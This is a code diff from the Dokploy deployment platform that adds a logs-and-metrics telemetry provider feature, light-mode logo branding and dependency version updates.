<path d="M23.778 14.482l-2.287-9.959c-.13-.545-.624-1.09-1.169-1.248L9.87.051C9.74 0 9.584 0 9.426 0c-.443 0-.909.18-1.222.443L.716 7.412C.3 7.776.092 8.504.222 9.024l2.445 10.662c.13.545.624 1.092 1.169 1.248l9.775 3.015c.13.051.285.051.443.051.443 0 .91-.18 1.223-.443l8.007-7.435c.418-.39.624-1.092.494-1.64zM10.962 2.417l7.175 2.21c.285.08.285.21 0 .286l-3.77.858c-.285.08-.674-.05-.883-.26l-2.626-2.834c-.235-.232-.184-.336.104-.26zm4.47 12.872c.079.286-.105.444-.39.365l-7.748-2.392c-.285-.079-.338-.313-.13-.52l5.93-5.514c.209-.209.443-.13.52.156zM2.667 8.267l6.293-5.85c.21-.209.545-.18.754.025L12.86 5.85c.209.21.18.545-.026.754l-6.293 5.85c-.21.21-.545.181-.754-.025L2.64 9.024a.536.536 0 01.026-.757zm1.536 9.284L2.54 10.244c-.08-.285.05-.34.234-.13L5.4 12.949c.209.209.285.624.209.909L4.462 17.55c-.079.285-.208.285-.26 0zm9.202 4.264l-8.217-2.522a.547.547 0 01-.364-.675l1.378-4.421a.547.547 0 01.675-.365l8.216 2.522c.285.079.443.39.364.675L14.08 21.45a.553.553 0 01-.674.365zm7.279-5.98L15.2 20.93c-.209.209-.31.13-.234-.155l1.144-3.694c.079-.285.39-.573.674-.624l3.77-.858c.288-.076.339.054.13.234zm.598-1.09l-4.523 1.039a.534.534 0 01-.65-.39l-1.922-8.372a.534.534 0 01.39-.65L19.1 5.335a.534.534 0 01.649.39l1.923 8.371c.079.31-.102.596-.39.65Z" />
|
||||
</svg>
|
||||
);
|
||||
|
||||
export const telemetryProviderIcons = {
|
||||
loki: GrafanaLokiIcon,
|
||||
prometheus_remote_write: PrometheusIcon,
|
||||
new_relic: NewRelicIcon,
|
||||
influxdb: InfluxDbIcon,
|
||||
datadog: DatadogIcon,
|
||||
aws_cloudwatch: AwsIcon,
|
||||
splunk_hec: SplunkIcon,
|
||||
elasticsearch: ElasticsearchIcon,
|
||||
betterstack: BetterStackIcon,
|
||||
} as const;
|
||||
@@ -19,6 +19,10 @@ export const OnboardingLayout = ({ children, leftPanel }: Props) => {
|
||||
"\u201CThe Open Source alternative to Netlify, Vercel, Heroku.\u201D";
|
||||
const logoUrl =
|
||||
whitelabeling?.loginLogoUrl || whitelabeling?.logoUrl || undefined;
|
||||
const logoLightUrl =
|
||||
whitelabeling?.loginLogoLightUrl ||
|
||||
whitelabeling?.logoLightUrl ||
|
||||
undefined;
|
||||
|
||||
return (
|
||||
<div className="container relative min-h-svh flex-col items-center justify-center flex lg:max-w-none lg:grid lg:grid-cols-2 lg:px-0 w-full">
|
||||
@@ -28,7 +32,11 @@ export const OnboardingLayout = ({ children, leftPanel }: Props) => {
|
||||
href="/"
|
||||
className="relative z-20 flex items-center text-lg font-medium gap-4 text-primary"
|
||||
>
|
||||
<Logo className="size-10" logoUrl={logoUrl} />
|
||||
<Logo
|
||||
className="size-10"
|
||||
logoUrl={logoUrl}
|
||||
logoLightUrl={logoLightUrl}
|
||||
/>
|
||||
{appName}
|
||||
</Link>
|
||||
<div className="relative z-20 mt-auto">
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
import type { inferRouterOutputs } from "@trpc/server";
|
||||
import {
|
||||
Activity,
|
||||
Archive,
|
||||
BarChartHorizontalBigIcon,
|
||||
Bell,
|
||||
BlocksIcon,
|
||||
@@ -29,6 +30,7 @@ import {
|
||||
type LucideIcon,
|
||||
Package,
|
||||
Palette,
|
||||
ScrollText,
|
||||
Server,
|
||||
ShieldCheck,
|
||||
Smartphone,
|
||||
@@ -374,6 +376,13 @@ const MENU: Menu = {
|
||||
icon: Package,
|
||||
isEnabled: ({ permissions }) => !!permissions?.registry.read,
|
||||
},
|
||||
{
|
||||
isSingle: true,
|
||||
title: "Logs & Metrics",
|
||||
url: "/dashboard/settings/logs-and-metrics",
|
||||
icon: ScrollText,
|
||||
isEnabled: ({ permissions }) => !!permissions?.telemetryProvider.read,
|
||||
},
|
||||
{
|
||||
isSingle: true,
|
||||
title: "Secrets",
|
||||
@@ -395,6 +404,13 @@ const MENU: Menu = {
|
||||
icon: HardDrive,
|
||||
isEnabled: ({ permissions }) => !!permissions?.destination.read,
|
||||
},
|
||||
{
|
||||
isSingle: true,
|
||||
title: "Exports",
|
||||
url: "/dashboard/settings/exports",
|
||||
icon: Archive,
|
||||
isEnabled: ({ auth }) => auth?.role === "owner" || auth?.role === "admin",
|
||||
},
|
||||
|
||||
{
|
||||
isSingle: true,
|
||||
|
||||
@@ -96,6 +96,7 @@ const RESOURCE_LABELS: Record<string, string> = {
|
||||
settings: "Settings",
|
||||
session: "Session",
|
||||
network: "Network",
|
||||
telemetryProvider: "Logs & Metrics",
|
||||
};
|
||||
|
||||
function MetadataCell({ metadata }: { metadata: string | null }) {
|
||||
|
||||
@@ -180,6 +180,11 @@ const RESOURCE_META: Record<string, { label: string; description: string }> = {
|
||||
description:
|
||||
"Manage DNS providers (Cloudflare, AWS Route53) and create, update, or delete their DNS records",
|
||||
},
|
||||
telemetryProvider: {
|
||||
label: "Logs & Metrics",
|
||||
description:
|
||||
"Manage the providers (Grafana Loki, Prometheus, Datadog, New Relic, etc.) that container logs and metrics are shipped to",
|
||||
},
|
||||
};
|
||||
|
||||
/** Descriptions for each action within a resource */
|
||||
@@ -475,6 +480,21 @@ const ACTION_META: Record<
|
||||
description: "Remove DNS providers and delete their records",
|
||||
},
|
||||
},
|
||||
telemetryProvider: {
|
||||
read: {
|
||||
label: "Read",
|
||||
description: "View configured logs and metrics providers",
|
||||
},
|
||||
create: {
|
||||
label: "Create",
|
||||
description:
|
||||
"Add new providers, test their connection and deploy the Vector agent",
|
||||
},
|
||||
delete: {
|
||||
label: "Delete",
|
||||
description: "Remove logs and metrics providers",
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
/** Resources that should be hidden from the custom role editor (better-auth internals) */
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
"use client";
|
||||
|
||||
import { useTheme } from "next-themes";
|
||||
import {
|
||||
Card,
|
||||
CardContent,
|
||||
@@ -12,12 +13,19 @@ interface WhitelabelingPreviewProps {
|
||||
config: {
|
||||
appName?: string;
|
||||
logoUrl?: string;
|
||||
logoLightUrl?: string;
|
||||
dualModeBranding?: boolean;
|
||||
footerText?: string;
|
||||
};
|
||||
}
|
||||
|
||||
export function WhitelabelingPreview({ config }: WhitelabelingPreviewProps) {
|
||||
const appName = config.appName || "Dokploy";
|
||||
const { resolvedTheme } = useTheme();
|
||||
const effectiveLogoUrl =
|
||||
config.dualModeBranding && resolvedTheme === "light" && config.logoLightUrl
|
||||
? config.logoLightUrl
|
||||
: config.logoUrl;
|
||||
|
||||
return (
|
||||
<Card className="bg-transparent">
|
||||
@@ -31,9 +39,9 @@ export function WhitelabelingPreview({ config }: WhitelabelingPreviewProps) {
|
||||
<div className="rounded-lg border overflow-hidden">
|
||||
{/* Simulated sidebar header */}
|
||||
<div className="flex items-center gap-3 p-4 border-b bg-sidebar">
|
||||
{config.logoUrl ? (
|
||||
{effectiveLogoUrl ? (
|
||||
<img
|
||||
src={config.logoUrl}
|
||||
src={effectiveLogoUrl}
|
||||
alt="Preview Logo"
|
||||
className="size-8 rounded-sm object-contain"
|
||||
/>
|
||||
|
||||
@@ -26,6 +26,7 @@ import {
|
||||
FormMessage,
|
||||
} from "@/components/ui/form";
|
||||
import { Input } from "@/components/ui/input";
|
||||
import { Switch } from "@/components/ui/switch";
|
||||
import { Textarea } from "@/components/ui/textarea";
|
||||
import { api } from "@/utils/api";
|
||||
import { WhitelabelingPreview } from "./whitelabeling-preview";
|
||||
@@ -36,20 +37,42 @@ const safeUrlField = z
|
||||
message: "Only http:// and https:// URLs are allowed",
|
||||
});
|
||||
|
||||
const formSchema = z.object({
|
||||
appName: z.string(),
|
||||
appDescription: z.string(),
|
||||
logoUrl: safeUrlField,
|
||||
faviconUrl: safeUrlField,
|
||||
customCss: z.string(),
|
||||
loginLogoUrl: safeUrlField,
|
||||
supportUrl: safeUrlField,
|
||||
docsUrl: safeUrlField,
|
||||
errorPageTitle: z.string(),
|
||||
errorPageDescription: z.string(),
|
||||
footerText: z.string(),
|
||||
ogImageUrl: safeUrlField,
|
||||
});
|
||||
const formSchema = z
|
||||
.object({
|
||||
appName: z.string(),
|
||||
appDescription: z.string(),
|
||||
logoUrl: safeUrlField,
|
||||
faviconUrl: safeUrlField,
|
||||
customCss: z.string(),
|
||||
loginLogoUrl: safeUrlField,
|
||||
supportUrl: safeUrlField,
|
||||
docsUrl: safeUrlField,
|
||||
errorPageTitle: z.string(),
|
||||
errorPageDescription: z.string(),
|
||||
footerText: z.string(),
|
||||
ogImageUrl: safeUrlField,
|
||||
logoLightUrl: z.string(),
|
||||
loginLogoLightUrl: z.string(),
|
||||
faviconLightUrl: z.string(),
|
||||
dualModeBranding: z.boolean(),
|
||||
})
|
||||
.superRefine((data, ctx) => {
|
||||
if (!data.dualModeBranding) return;
|
||||
for (const field of [
|
||||
"logoLightUrl",
|
||||
"loginLogoLightUrl",
|
||||
"faviconLightUrl",
|
||||
] as const) {
|
||||
const val = data[field];
|
||||
if (val !== "" && !/^https?:\/\//i.test(val)) {
|
||||
ctx.addIssue({
|
||||
code: z.ZodIssueCode.custom,
|
||||
message: "Only http:// and https:// URLs are allowed",
|
||||
path: [field],
|
||||
});
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
type FormSchema = z.infer<typeof formSchema>;
|
||||
|
||||
@@ -195,6 +218,10 @@ export function WhitelabelingSettings() {
|
||||
errorPageDescription: "",
|
||||
footerText: "",
|
||||
ogImageUrl: "",
|
||||
logoLightUrl: "",
|
||||
loginLogoLightUrl: "",
|
||||
faviconLightUrl: "",
|
||||
dualModeBranding: false,
|
||||
},
|
||||
resolver: zodResolver(formSchema),
|
||||
});
|
||||
@@ -214,6 +241,10 @@ export function WhitelabelingSettings() {
|
||||
errorPageDescription: data.errorPageDescription ?? "",
|
||||
footerText: data.footerText ?? "",
|
||||
ogImageUrl: data.ogImageUrl ?? "",
|
||||
logoLightUrl: data.logoLightUrl ?? "",
|
||||
loginLogoLightUrl: data.loginLogoLightUrl ?? "",
|
||||
faviconLightUrl: data.faviconLightUrl ?? "",
|
||||
dualModeBranding: data.dualModeBranding ?? false,
|
||||
});
|
||||
}
|
||||
}, [data, form]);
|
||||
@@ -244,6 +275,10 @@ export function WhitelabelingSettings() {
|
||||
errorPageDescription: values.errorPageDescription || null,
|
||||
footerText: values.footerText || null,
|
||||
ogImageUrl: values.ogImageUrl || null,
|
||||
logoLightUrl: values.logoLightUrl || null,
|
||||
loginLogoLightUrl: values.loginLogoLightUrl || null,
|
||||
faviconLightUrl: values.faviconLightUrl || null,
|
||||
dualModeBranding: values.dualModeBranding,
|
||||
},
|
||||
})
|
||||
.then(async () => {
|
||||
@@ -412,6 +447,111 @@ export function WhitelabelingSettings() {
|
||||
</CardContent>
|
||||
</Card>
|
||||
|
||||
{/* Light Mode Logos Section */}
|
||||
<Card className="bg-transparent">
|
||||
<CardHeader>
|
||||
<div className="flex items-center justify-between">
|
||||
<div className="flex flex-col gap-1.5">
|
||||
<CardTitle>Light Mode Logos</CardTitle>
|
||||
<CardDescription>
|
||||
Use separate logos for light and dark themes. When enabled,
|
||||
the logos in Branding are used for dark mode.
|
||||
</CardDescription>
|
||||
</div>
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="dualModeBranding"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormControl>
|
||||
<Switch
|
||||
aria-label="Enable light mode logos"
|
||||
checked={field.value}
|
||||
onCheckedChange={(checked) => {
|
||||
field.onChange(checked);
|
||||
if (!checked) {
|
||||
form.clearErrors([
|
||||
"logoLightUrl",
|
||||
"loginLogoLightUrl",
|
||||
"faviconLightUrl",
|
||||
]);
|
||||
}
|
||||
}}
|
||||
/>
|
||||
</FormControl>
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</div>
|
||||
</CardHeader>
|
||||
<div
|
||||
className="grid transition-all duration-300 ease-in-out"
|
||||
style={{
|
||||
gridTemplateRows: form.watch("dualModeBranding")
|
||||
? "1fr"
|
||||
: "0fr",
|
||||
}}
|
||||
>
|
||||
<div className="overflow-hidden">
|
||||
<CardContent className="flex flex-col gap-4">
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="logoLightUrl"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Logo URL</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://example.com/logo-light.svg"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="loginLogoLightUrl"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Login Page Logo URL</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://example.com/login-logo-light.svg"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
|
||||
<FormField
|
||||
control={form.control}
|
||||
name="faviconLightUrl"
|
||||
render={({ field }) => (
|
||||
<FormItem>
|
||||
<FormLabel>Favicon URL</FormLabel>
|
||||
<FormControl>
|
||||
<Input
|
||||
placeholder="https://example.com/favicon-light.ico"
|
||||
{...field}
|
||||
/>
|
||||
</FormControl>
|
||||
<FormDescription>
|
||||
Follows the browser/OS theme, not the website theme.
|
||||
</FormDescription>
|
||||
<FormMessage />
|
||||
</FormItem>
|
||||
)}
|
||||
/>
|
||||
</CardContent>
|
||||
</div>
|
||||
</div>
|
||||
</Card>
|
||||
|
||||
{/* Appearance Section */}
|
||||
<Card className="bg-transparent">
|
||||
<CardHeader>
|
||||
|
||||
@@ -1,16 +1,25 @@
|
||||
import { useTheme } from "next-themes";
|
||||
import { cn } from "@/lib/utils";
|
||||
|
||||
interface Props {
|
||||
className?: string;
|
||||
logoUrl?: string;
|
||||
logoLightUrl?: string;
|
||||
}
|
||||
|
||||
export const Logo = ({ className = "size-14", logoUrl }: Props) => {
|
||||
if (logoUrl) {
|
||||
export const Logo = ({
|
||||
className = "size-14",
|
||||
logoUrl,
|
||||
logoLightUrl,
|
||||
}: Props) => {
|
||||
const { resolvedTheme } = useTheme();
|
||||
const effectiveUrl =
|
||||
resolvedTheme === "light" && logoLightUrl ? logoLightUrl : logoUrl;
|
||||
|
||||
if (effectiveUrl) {
|
||||
return (
|
||||
// biome-ignore lint/performance/noImgElement: this is for dynamic logo loading
|
||||
<img
|
||||
src={logoUrl}
|
||||
src={effectiveUrl}
|
||||
alt="Organization Logo"
|
||||
className={cn(className, "object-contain rounded-sm")}
|
||||
/>
|
||||
|
||||
@@ -0,0 +1,20 @@
|
||||
CREATE TYPE "public"."TelemetryProviderType" AS ENUM('loki', 'datadog', 'betterstack', 'elasticsearch', 'splunk_hec', 'aws_cloudwatch', 'prometheus_remote_write', 'new_relic', 'influxdb');--> statement-breakpoint
|
||||
CREATE TABLE "telemetryProvider" (
|
||||
"telemetryProviderId" text PRIMARY KEY NOT NULL,
|
||||
"name" text NOT NULL,
|
||||
"providerType" "TelemetryProviderType" NOT NULL,
|
||||
"signals" text[] NOT NULL,
|
||||
"endpoint" text,
|
||||
"apiKey" text,
|
||||
"apiSecret" text,
|
||||
"extraConfig" jsonb,
|
||||
"enabled" boolean DEFAULT true NOT NULL,
|
||||
"createdAt" text NOT NULL,
|
||||
"organizationId" text NOT NULL
|
||||
);
|
||||
--> statement-breakpoint
|
||||
ALTER TABLE "server" ADD COLUMN "telemetryProviderIds" text[] DEFAULT ARRAY[]::text[] NOT NULL;--> statement-breakpoint
|
||||
ALTER TABLE "webServerSettings" ADD COLUMN "telemetryProviderIds" text[] DEFAULT ARRAY[]::text[] NOT NULL;--> statement-breakpoint
|
||||
ALTER TABLE "webServerSettings" ADD COLUMN "vectorAgentOrganizationId" text;--> statement-breakpoint
|
||||
ALTER TABLE "telemetryProvider" ADD CONSTRAINT "telemetryProvider_organizationId_organization_id_fk" FOREIGN KEY ("organizationId") REFERENCES "public"."organization"("id") ON DELETE cascade ON UPDATE no action;--> statement-breakpoint
|
||||
ALTER TABLE "webServerSettings" ADD CONSTRAINT "webServerSettings_vectorAgentOrganizationId_organization_id_fk" FOREIGN KEY ("vectorAgentOrganizationId") REFERENCES "public"."organization"("id") ON DELETE set null ON UPDATE no action;
|
||||
File diff suppressed because it is too large
Load Diff
@@ -1380,6 +1380,13 @@
|
||||
"when": 1788995453103,
|
||||
"tag": "0196_worthless_ravenous",
|
||||
"breakpoints": true
|
||||
},
|
||||
{
|
||||
"idx": 197,
|
||||
"version": "7",
|
||||
"when": 1791456930312,
|
||||
"tag": "0197_logs_and_metrics",
|
||||
"breakpoints": true
|
||||
}
|
||||
]
|
||||
}
|
||||
+18
-17
@@ -48,6 +48,8 @@
|
||||
"@ai-sdk/mistral": "^3.0.20",
|
||||
"@ai-sdk/openai": "^3.0.29",
|
||||
"@ai-sdk/openai-compatible": "^2.0.30",
|
||||
"@aws-sdk/client-cloudwatch": "^3.1108.0",
|
||||
"@aws-sdk/client-cloudwatch-logs": "^3.1108.0",
|
||||
"@aws-sdk/client-route-53": "^3.1108.0",
|
||||
"@aws-sdk/client-secrets-manager": "^3.1108.0",
|
||||
"@aws-sdk/client-ssm": "3.1108.0",
|
||||
@@ -65,7 +67,7 @@
|
||||
"@codemirror/view": "^6.39.15",
|
||||
"@dokploy/server": "workspace:*",
|
||||
"@dokploy/trpc-openapi": "0.0.18",
|
||||
"@faker-js/faker": "^8.4.1",
|
||||
"@faker-js/faker": "^10.5.0",
|
||||
"@hookform/resolvers": "^5.2.2",
|
||||
"@octokit/auth-app": "^6.1.3",
|
||||
"@octokit/webhooks": "^13.9.0",
|
||||
@@ -85,37 +87,38 @@
|
||||
"@xterm/addon-attach": "0.10.0",
|
||||
"@xterm/addon-clipboard": "0.1.0",
|
||||
"@xterm/xterm": "^5.5.0",
|
||||
"adm-zip": "^0.5.16",
|
||||
"adm-zip": "^0.6.1",
|
||||
"ai": "^6.0.86",
|
||||
"ai-sdk-ollama": "^3.7.0",
|
||||
"bcrypt": "5.1.1",
|
||||
"better-auth": "1.6.23",
|
||||
"bl": "6.0.11",
|
||||
"boxen": "^7.1.1",
|
||||
"busboy": "^1.6.0",
|
||||
"class-variance-authority": "^0.7.1",
|
||||
"clsx": "^2.1.1",
|
||||
"cmdk": "^0.2.1",
|
||||
"copy-to-clipboard": "^3.3.3",
|
||||
"date-fns": "3.6.0",
|
||||
"dockerode": "4.0.2",
|
||||
"dompurify": "^3.3.3",
|
||||
"dompurify": "^3.4.13",
|
||||
"dotenv": "16.4.5",
|
||||
"drizzle-orm": "0.45.2",
|
||||
"drizzle-zod": "0.8.3",
|
||||
"fancy-ansi": "^0.1.3",
|
||||
"input-otp": "^1.4.2",
|
||||
"js-cookie": "^3.0.5",
|
||||
"lodash": "4.17.21",
|
||||
"js-cookie": "^3.0.7",
|
||||
"lodash": "4.18.1",
|
||||
"lucide-react": "^0.469.0",
|
||||
"micromatch": "4.0.8",
|
||||
"nanoid": "3.3.11",
|
||||
"next": "16.3.4",
|
||||
"nanoid": "3.3.18",
|
||||
"next": "16.3.8",
|
||||
"next-themes": "^0.2.1",
|
||||
"nextjs-toploader": "^3.9.17",
|
||||
"node-os-utils": "2.0.1",
|
||||
"node-pty": "1.1.0",
|
||||
"node-schedule": "2.1.1",
|
||||
"nodemailer": "6.9.14",
|
||||
"nodemailer": "10.0.15",
|
||||
"octokit": "3.1.2",
|
||||
"pino": "9.4.0",
|
||||
"pino-pretty": "11.2.2",
|
||||
@@ -133,7 +136,7 @@
|
||||
"resend": "^6.0.2",
|
||||
"semver": "7.7.3",
|
||||
"shadcn": "^4.11.0",
|
||||
"shell-quote": "^1.8.4",
|
||||
"shell-quote": "^1.11.0",
|
||||
"slugify": "^1.6.6",
|
||||
"sonner": "^1.7.4",
|
||||
"ssh2": "~1.16.0",
|
||||
@@ -142,37 +145,35 @@
|
||||
"swagger-ui-react": "^5.32.6",
|
||||
"tailwind-merge": "^2.6.1",
|
||||
"tailwindcss-animate": "^1.0.7",
|
||||
"toml": "3.0.0",
|
||||
"toml": "4.2.0",
|
||||
"tw-animate-css": "^1.4.0",
|
||||
"undici": "^6.21.3",
|
||||
"undici": "^6.28.0",
|
||||
"use-resize-observer": "9.1.0",
|
||||
"ws": "8.16.0",
|
||||
"ws": "8.21.0",
|
||||
"xterm-addon-fit": "^0.8.0",
|
||||
"yaml": "2.8.1",
|
||||
"yaml": "2.8.3",
|
||||
"zod": "^4.3.6",
|
||||
"zod-form-data": "^3.0.1"
|
||||
},
|
||||
"devDependencies": {
|
||||
"@tailwindcss/postcss": "^4.3.1",
|
||||
"@types/adm-zip": "^0.5.7",
|
||||
"@types/bcrypt": "5.0.2",
|
||||
"@types/busboy": "^1.5.4",
|
||||
"@types/dompurify": "^3.2.0",
|
||||
"@types/js-cookie": "^3.0.6",
|
||||
"@types/lodash": "4.17.4",
|
||||
"@types/micromatch": "4.0.9",
|
||||
"@types/node": "^24.4.0",
|
||||
"@types/node-schedule": "2.1.6",
|
||||
"@types/nodemailer": "^6.4.17",
|
||||
"@types/qrcode": "^1.5.5",
|
||||
"@types/react": "^19.2.0",
|
||||
"@types/react-dom": "^19.2.0",
|
||||
"@types/semver": "7.7.1",
|
||||
"@types/shell-quote": "^1.7.5",
|
||||
"@types/ssh2": "1.15.1",
|
||||
"@types/swagger-ui-react": "^4.19.0",
|
||||
"@types/ws": "8.5.10",
|
||||
"drizzle-kit": "^0.31.4",
|
||||
"esbuild": "0.20.2",
|
||||
"esbuild": "0.25.0",
|
||||
"lint-staged": "^15.5.2",
|
||||
"memfs": "^4.17.2",
|
||||
"simple-icons": "^16.14.0",
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user